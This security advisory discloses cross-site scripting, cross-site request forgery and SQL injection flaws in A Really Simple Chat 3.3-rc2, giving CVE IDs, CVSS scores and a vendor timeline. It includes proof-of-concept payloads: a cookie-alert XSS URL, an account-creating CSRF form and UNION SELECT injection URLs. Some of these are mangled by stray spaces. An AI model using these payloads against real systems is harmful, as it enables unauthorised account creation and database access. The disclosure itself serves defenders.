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Multiple Vulnerabilities in A Really Simple Chat (ARSC)

Advisory ID:HTB22997
Product:A Really Simple Chat (ARSC)
Vulnerable Versions:3.3-rc2 and probably prior
Tested Version:3.3-rc2
Advisory Publication:May 12, 2011 [without technical details]
Vendor Notification:May 12, 2011
Public Disclosure:May 26, 2011
Vulnerability Type:Cross-Site Scripting [CWE-79]
Cross-Site Request Forgery [CWE-352]
SQL Injection [CWE-89]
CVE References:CVE-2011-2180
Risk Level:Medium
CVSSv2 Base Scores:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P)
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in A Really Simple Chat (ARSC) which could be exploited to perform cross-site scripting, cross-site request forgery and SQL injection attacks.

1) Cross-site scripting (XSS) vulnerability in A Really Simple Chat (ARSC): CVE-2011-2180
1.1 The vulnerability exists due to input sanitation error in the "arsc_link" parameter in dereferer.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://[host]/base/dereferer.php?arsc_link=%22%3E%3Cscript%3Ealert%28documen t.cookie%29;%3C/script%3 E

2) Cross-site request forgery (CSRF) vulnerabilities in A Really Simple Chat (ARSC)
2.1 The vulnerability exists due to insufficient validation of the request origin in base/admin/add_user.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and create arbitrary accounts.
Exploitation example:
<form action="http://[host]/base/admin/add_user.php" method="post" name="main" />
<input name="arsc_newuser" value="test" type="hidden" />
<input type="submit" id="btn" name="submit" value="Submit ››">
</scri pt>

3) SQL injection weakness in A Really Simple Chat (ARSC): CVE-2011-2181
The weakness exists due to input sanitation errors in the "user" parameter in base/admin/edit_user.php, in the "arsc_layout_id" in base/admin/edit_layout.php and in the "arsc_room" parameter in base/admin/edit_room.php. A remote user with administrative privileges can send a specially crafted HTTP request to the vulnerable script and execute arbitrary SQL commands in application`s database. Combined with vulnerability #2 it is possible for a remote attacker to create an administrative account and then use it to exploit this weakness.
Exploitation examples:
http://[host]/base/admin/edit_user.php?arsc_user=-1%27%20union%20select%201, version%28%29,3,4,5,6,7, 8,9,10,11,12,13,14,15%20--%202
http://[host]/base/admin/edit_layout.php?arsc_layout_id=-1%20union%20select% 201,version%28%29,3,4,5, 6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
http://[host]/base/admin/edit_room.php?arsc_room=%27%20union%20select%201,2, version%28%29,4,5,6,7%20 --%202

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Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.

[1] High-Tech Bridge Advisory HTB22997 - - Multiple Vulnerabilities in A Really Simple Chat (ARSC)
[2] A Really Simple Chat (ARSC) - - ARSC is a webchat system that uses PHP and MySQL and allows comfortable chatting with every browser on the surface of this planet, using JavaScript, frames HTML streaming for modern browsers down to a one-page reload-yourself version for text browsers.
[3] Common Vulnerabilities and Exposures (CVE) - - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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